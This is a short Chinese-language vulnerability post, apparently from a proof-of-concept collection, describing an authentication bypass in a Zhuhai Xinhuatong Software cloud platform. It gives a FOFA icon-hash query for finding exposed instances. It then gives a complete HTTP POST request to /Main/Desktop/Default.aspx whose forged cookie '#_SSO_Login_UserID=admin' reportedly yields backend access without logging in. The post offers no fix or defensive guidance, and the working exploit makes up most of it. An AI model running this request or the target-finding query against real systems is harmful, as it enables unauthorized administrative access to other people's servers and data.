珠海新华通软件股份有限公司云平台存在登录绕过漏洞

# 珠海新华通软件股份有限公司云平台存在登录绕过漏洞



珠海新华通软件股份有限公司云平台存在登录绕过漏洞，漏洞允许攻击者通过简单操作，如添加特定Cookie或修改请求参数，绕过身份验证直接访问后台，从而对系统安全构成严重威胁。



## fofa



```javascript

icon_hash="513304261"

```



## POC



```javascript

POST /Main/Desktop/Default.aspx HTTP/1.1

Accept: */*

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;q=0.9

Connection: keep-alive

Content-Length: 166

Content-Type: application/x-www-form-urlencoded; charset=UTF-8

Cookie: ASP.NET_SessionId=x01ftldfm5dwbbo1tx1ne1kv; #_SSO_Login_UserID=admin; #_SSO_Login_UserID_Guid=

Host: 

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36

X-Requested-With: XMLHttpRequest

```



请求/Main/Desktop/Default.aspx  加cookie认证`#_SSO_Login_UserID=admin `  即可绕过登录进入后台



![image-20240831234213408](https://sydgz2-1310358933.cos.ap-guangzhou.myqcloud.com/pic/202408312342494.png)

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.